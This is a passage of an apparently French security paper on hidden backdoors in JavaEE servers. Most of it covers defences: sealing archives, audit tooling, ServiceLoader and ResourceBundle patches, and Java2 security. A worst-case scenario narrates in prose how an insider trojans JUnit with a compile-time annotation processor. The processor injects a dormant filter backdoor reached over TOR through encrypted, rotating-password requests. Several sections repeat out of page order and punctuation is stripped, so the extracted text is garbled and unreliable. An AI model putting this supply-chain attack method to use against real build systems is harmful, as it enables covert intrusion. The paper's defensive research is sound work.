De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
